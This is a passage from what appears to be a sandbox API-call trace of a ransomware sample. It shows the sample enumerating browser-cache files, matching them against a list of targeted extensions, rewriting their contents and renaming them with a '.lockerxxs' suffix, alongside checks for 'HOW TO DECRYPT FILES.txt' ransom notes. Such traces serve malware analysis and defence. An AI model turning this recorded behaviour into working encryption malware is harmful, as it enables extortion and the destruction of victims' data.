Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg." [0084.461] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.lockerxxs" [0084.461] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.462] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1b14 [0084.462] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x457be4b0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x457be4b0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x457be4b0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.462] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.462] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1aee, lpOverlapped=0x0) returned 1 [0084.464] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg") returned="BBEfkgi[1].jpg" [0084.464] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.464] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1aee, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1aee, lpOverlapped=0x0) returned 1 [0084.465] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.465] CloseHandle (hObject=0xa4) returned 1 [0084.465] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg.lockerxxs")) returned 1 [0084.466] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45915110, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfRKA[1].jpg", cAlternateFileName="BBEFRK~1.JPG")) returned 1 [0084.466] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.466] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfRKA[1].jpg") returned 1 [0084.466] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfRKA[1].jpg") returned 1 [0084.466] lstrcmpiA (lpString1="", lpString2="BBEfRKA[1].jpg") returned -1 [0084.466] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg") returned="BBEfkgi[1].jpg" [0084.466] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.466] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.466] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.466] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.466] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfRKA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" [0084.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.ems") returned 0 [0084.466] lstrlenA (lpString="*.ems") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.db") returned 0 [0084.467] lstrlenA (lpString="*.db") returned 4 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.dbf") returned 0 [0084.467] lstrlenA (lpString="*.dbf") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.myox") returned 0 [0084.467] lstrlenA (lpString="*.myox") returned 6 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.myo") returned 0 [0084.467] lstrlenA (lpString="*.myo") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qbw") returned 0 [0084.467] lstrlenA (lpString="*.qbw") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qbb") returned 0 [0084.467] lstrlenA (lpString="*.qbb") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qbm") returned 0 [0084.467] lstrlenA (lpString="*.qbm") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qbo") returned 0 [0084.467] lstrlenA (lpString="*.qbo") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qbx") returned 0 [0084.467] lstrlenA (lpString="*.qbx") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qba") returned 0 [0084.467] lstrlenA (lpString="*.qba") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qby") returned 0 [0084.467] lstrlenA (lpString="*.qby") returned 5 [0084.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qbj") returned 0 [0084.467] lstrlenA (lpString="*.qbj") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.ofx") returned 0 [0084.468] lstrlenA (lpString="*.ofx") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.qif") returned 0 [0084.468] lstrlenA (lpString="*.qif") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.mye") returned 0 [0084.468] lstrlenA (lpString="*.mye") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.mbox") returned 0 [0084.468] lstrlenA (lpString="*.mbox") returned 6 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.eml") returned 0 [0084.468] lstrlenA (lpString="*.eml") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.pst") returned 0 [0084.468] lstrlenA (lpString="*.pst") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.ost") returned 0 [0084.468] lstrlenA (lpString="*.ost") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.idx") returned 0 [0084.468] lstrlenA (lpString="*.idx") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.dbx") returned 0 [0084.468] lstrlenA (lpString="*.dbx") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.sql") returned 0 [0084.468] lstrlenA (lpString="*.sql") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.mdb") returned 0 [0084.468] lstrlenA (lpString="*.mdb") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.fdb") returned 0 [0084.468] lstrlenA (lpString="*.fdb") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.wab") returned 0 [0084.468] lstrlenA (lpString="*.wab") returned 5 [0084.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.dat") returned 0 [0084.468] lstrlenA (lpString="*.dat") returned 5 [0084.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.txt") returned 0 [0084.469] lstrlenA (lpString="*.txt") returned 5 [0084.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.jpeg") returned 0 [0084.469] lstrlenA (lpString="*.jpeg") returned 6 [0084.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", pszSpec="*.jpg") returned 1 [0084.469] lstrlenA (lpString="*.jpg") returned 5 [0084.469] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" [0084.469] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" [0084.469] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg." [0084.469] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.lockerxxs" [0084.469] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.470] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2978 [0084.470] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3)) returned 1 [0084.470] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.470] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2952, lpOverlapped=0x0) returned 1 [0084.475] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg") returned="BBEfRKA[1].jpg" [0084.475] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.475] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2952, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2952, lpOverlapped=0x0) returned 1 [0084.475] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.475] CloseHandle (hObject=0xa4) returned 1 [0084.476] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg.lockerxxs")) returned 1 [0084.477] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4574c090, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4574c090, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x457721f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2b6c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfRwv[1].jpg", cAlternateFileName="BBEFRW~1.JPG")) returned 1 [0084.477] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.477] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfRwv[1].jpg") returned 1 [0084.477] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfRwv[1].jpg") returned 1 [0084.477] lstrcmpiA (lpString1="", lpString2="BBEfRwv[1].jpg") returned -1 [0084.477] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg") returned="BBEfRKA[1].jpg" [0084.477] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.477] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.477] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.477] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.477] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfRwv[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.ems") returned 0 [0084.478] lstrlenA (lpString="*.ems") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.db") returned 0 [0084.478] lstrlenA (lpString="*.db") returned 4 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.dbf") returned 0 [0084.478] lstrlenA (lpString="*.dbf") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.myox") returned 0 [0084.478] lstrlenA (lpString="*.myox") returned 6 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary 